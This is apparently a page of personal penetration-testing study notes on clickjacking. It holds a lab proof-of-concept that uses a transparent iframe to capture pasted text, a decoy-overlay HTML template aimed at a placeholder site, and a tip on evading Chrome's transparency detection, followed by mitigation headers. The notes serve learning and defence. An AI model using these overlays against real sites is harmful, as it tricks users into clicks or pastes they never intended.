0Sec
0Sec
0Sec
  • Spider Security
  • offensive security
    • OSCP
      • WriteUps
        • PortSwigger
          • SQL injection labs
          • Exploiting XXE to retrieve data by repurposing a local DTD
        • PentesterLabs
          • Recon
        • HTB
          • BoardLight
          • Lame
        • THM
          • Walkthroughs
            • Attacktive Directory
            • LineKernel
            • Day 1 — Linux PrivEsc
          • CTF
            • Page
            • BLUE
            • mKingdom
            • RazorBlack
      • Module 1 (General Info)
      • Module 2 (Getting Kali)
        • Leason 1 - Booting Up Kali Linux
        • Leason 2 - The Kali Menu
        • Leason 4 - Finding Your Way Around Kali
        • Leason 5 - Managing Kali Linux Services
      • Module 3 (CLI)
        • The Bash Environment
        • Piping and Redirection
        • Text Searching and Manipulation
          • Regular
        • Managing Processes
        • File and Command Monitoring
      • Module 4 (Practical Tools)
        • Netcat
        • Socat
        • PowerShell & Powercat
        • Wireshark
        • Tcpdump
      • Module 5 (Bash Script)
      • Module 6 (Passive Info Gathering)
      • Module 7 ( Active Info Gathering)
      • Module 8 (Vulnerability Scanning)
      • Module 9 (Web Application Attacks)
        • Cross Site Scripting (XSS)
        • local file inclusion & remote file inclusion
          • Exploit LFI
        • SQL injection
          • Blind Boolean based SQL & Evasion Techniques
          • SQL
          • Login bypass List
        • File upload
        • Remote code execution
      • Module 10 ( Intro Buffer OverFlow)
      • Module 11 (Widows Buffer OverFlow)
        • Buffer OverFlow Challange
      • Module 12 (Linux Buffer OverFlows)
      • Module 13 (Clint Side Attacks)
      • Module 14 (Locating Public Exploits)
      • Module 15 (FIxing Exploits)
      • Module 16 (File Transfers)
      • Module 17 (Antivirus Evasion)
        • Windows
      • Module 18 (Privllege Escalation)
        • Windows
          • Checklist
          • THM - Windows PrivEsc Arena
        • Linux
          • Checklist
          • Linux PrivEsc Arena
      • Module 19 (Password Attacks)
      • Module 20 (Port Redirection and Tunneling)
      • Module 21 (Active Directory Attacks)
        • adbasics_v1.2
      • Module 22 (Metasploit Framwork)
      • Module 23 (Powershell Empire)
      • Course Materials
  • SANS
  • AppSec
    • EWAPTX
      • PHP Type Juggling
      • CSP
      • SqlI
        • Information_schema
        • WriteUps
      • SSTI & CSTI
      • XSS_HTML Injection
      • CORS Attack
      • Clickjacking
      • Open redirect
      • JSONP
      • LFI && LFD && RFI
      • HTTP Host header attacks
      • CSRF
      • XML injection
      • XML external entity (XXE) injection
      • APIs & JWT attacks
      • Insecure Deserialization
      • OAUTH 2.0 authentication vulnerabilities
      • Host Header Injection
      • Insecure Direct Object References (IDOR)
  • Reverse Eng & Malware dev
    • Internals
      • Windows internals
        • Topics in GitHub
        • Chapter 1 Concepts and tools
        • Chapter 2. System architecture
        • Chapter 3. Processes and jobs
        • Chapter 4. Threads
        • Chapter 5. Memory management
        • Chapter 6. I/O system
        • Chapter 7. Security
      • Linux internals ⇒ Soon
      • MacOs X internals ⇒ Soon
  • cheat sheet
    • Pentest_Notes
    • Linux BOF & Wireless Attacks
    • WriteUps
Powered by GitBook
On this page
  • Clickjacking
  • Tools
  • Mitigation
  1. AppSec
  2. EWAPTX

Clickjacking

Clickjacking

<script>alert("1337")</script>
<iframe style="opacity: 0;" width="100%" src="<http://localhost/labs/cors/info.php>"></iframe>
<p id="string" style="margin-top: -30px;">Click on me and fo this,first Ctrl+a,second Ctrl+Cm finaly Ctrl+V on textarea</p>
<textarea oninput="alert('I Hacked You '+this.value)" id="data" style="width: 300px;height: 250px;"></textarea>

Real-World Examples

Social Media Clickjacking: An attacker might trick a user into "liking" or sharing a post on social media by hiding the actual "Like" button under a seemingly unrelated button.

Ad Fraud: Users may be tricked into clicking on ads without realizing it, generating revenue for the attacker.

Critical Actions: Clickjacking can be used to change security settings, subscribe to services, or initiate file downloads without the user's consent.

Constructing a Basic Clickjacking Attack

Clickjacking is an attack where the attacker tricks a user into clicking on something different from what they perceive by overlaying a transparent iframe of the target website over a decoy webpage. Here’s how you can construct a basic clickjacking attack using HTML and CSS:

Example Code:

<html>
<head>
    <style>
        /* Styling for the target website iframe */
        #target_website {
            position: relative; /* Allows positioning relative to its normal position */
            width: 128px; /* Set the width to match the clickable area */
            height: 128px; /* Set the height to match the clickable area */
            opacity: 0.00001; /* Make the iframe nearly invisible */
            z-index: 2; /* Ensure the iframe is on top of the decoy content */
        }

        /* Styling for the decoy website */
        #decoy_website {
            position: absolute; /* Position it absolutely in the browser window */
            width: 300px; /* Set the decoy width */
            height: 400px; /* Set the decoy height */
            z-index: 1; /* Place the decoy content behind the iframe */
        }
    </style>
</head>
<body>
    <div id="decoy_website">
        <!-- Decoy web content here, e.g., "Click to win!" button -->
    </div>
    <iframe id="target_website" src="<https://vulnerable-website.com>">
    </iframe>
</body>

Key Concepts:

  • Positioning: The position properties (relative for the iframe, absolute for the decoy) ensure that the iframe overlaps the decoy content correctly. Adjusting the top, left, width, and height values precisely position the iframe over the decoy content.

  • Layering (z-index): The z-index property controls the stack order of elements. The iframe (z-index: 2) is layered above the decoy content (z-index: 1) so that any clicks will interact with the iframe.

  • Opacity: The opacity value is set close to 0.0, making the iframe nearly invisible to the user. Careful adjustment of the opacity can evade browser defences that detect fully transparent iframes, such as in Chrome.

Tools

Burp Clickbandit

Mitigation

1. Use the X-Frame-Options Header

1.X-Frame-Options: DENY

2.X-Frame-Options: SAMEORIGIN

Note Allow specific origin framing (if necessary):

2. Use Content Security Policy (CSP)

allow frame only same origin

Content-Security-Policy: frame-ancestors 'self';

allow from only trust domain

completely block framing

Content-Security-Policy: frame-ancestors 'none';

3. Frame Busting Scripts (Deprecated Approach)

if (top !== self) {
    top.location = self.location;
}
PreviousCORS AttackNextOpen redirect

Last updated 8 months ago

X-Frame-Options: ALLOW_FROM

Content-Security-Policy: frame-ancestors 'self';

https://trustdomain.com
https://trusteddomain.com